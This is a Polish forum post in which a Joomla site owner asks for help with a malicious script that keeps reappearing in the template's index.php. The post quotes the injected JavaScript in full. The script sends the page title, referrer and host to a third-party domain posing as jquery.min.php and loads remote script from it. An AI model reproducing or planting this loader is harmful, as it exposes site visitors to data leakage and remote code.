Witam,
Od jakiegoś czasu mam problem z Joomla, dokładniej z dopisującym się złośliwym skryptem do pliku index.php szablonu. Antywirus wywala mi:

Wirus: Script.Trojan.Agent.IT (Skaner cool.gif

Wirus wykryty podczas wczytywania zawartości strony sieci Web.

Adres: http://gminamoszczenica.eu/
Status: Odmowa dostępu.


Po skasowaniu kawałka kodu wszystko działa, jednak na drugi dzień kod jest już dopisany. Zmieniałem hasła do ftp itd, jednak nadal to samo. Proszę o pomoc.

P.S
Dopisujący się kawałek kodu wygląda tak:

[PHP] pobierz, plaintext 
  1. <script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://www.barth-sanitaer.de/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
[PHP] pobierz, plaintext